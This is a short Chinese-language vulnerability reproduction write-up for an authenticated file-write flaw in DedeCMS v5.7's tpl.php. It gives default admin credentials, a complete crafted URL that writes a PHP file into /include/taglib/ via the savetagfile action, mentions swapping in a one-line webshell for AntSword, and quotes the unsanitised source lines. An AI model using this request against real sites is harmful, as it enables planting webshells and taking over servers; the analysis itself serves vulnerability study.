DEDEC CMS v5.7 文件上传

首先我们要进入后台

密码账号都是admin

访问/dede/tpl.php?action=upload，审查源码，获取我们的token值。

可以用taken值直接文件上传

拿到token值后构造dede/tpl.php?filename=shell.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=c12bf4a8330732e9f45a492d54399803

然后访问http://127.0.0.1/dedecms/include/taglib/shell.lib.php

php文件成功被执行

如果我们刚刚写的是一句话木马拿就可以直接蚁剑连接

漏洞复现原因

想一想我们的思路：
1、获取token值
2、访问指定的链接

就把我们的代码写入到/include/taglib/xxx.lib.php中

token值很容易获取，那么问题就是在那个链接上面：

http://127.0.0.1/dedecms/dede/tpl.php?filename=shell.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=c12bf4a8330732e9f45a492d54399803

看一下参数，就知道这是一个文件保存的操作。

问题出现在tpl.php

我们看看它写了什么

找到问题代码

首先会匹配正则， 要以.lib.php结尾。

然后会将 $content 写入到 $filename 中。

那么我们要跟踪一下文件对这两个参数进行的处理。

然后我们回过头来看整个文件的代码。

$filename = preg_replace("#[\/\\\\]#", '', $filename); //line21


$tagname = preg_replace("#\.lib\.php$#i", "", $filename); //line260
$content = stripslashes($content); //line261

可以看出，只有替换，并没有对参数进行安全防护措施。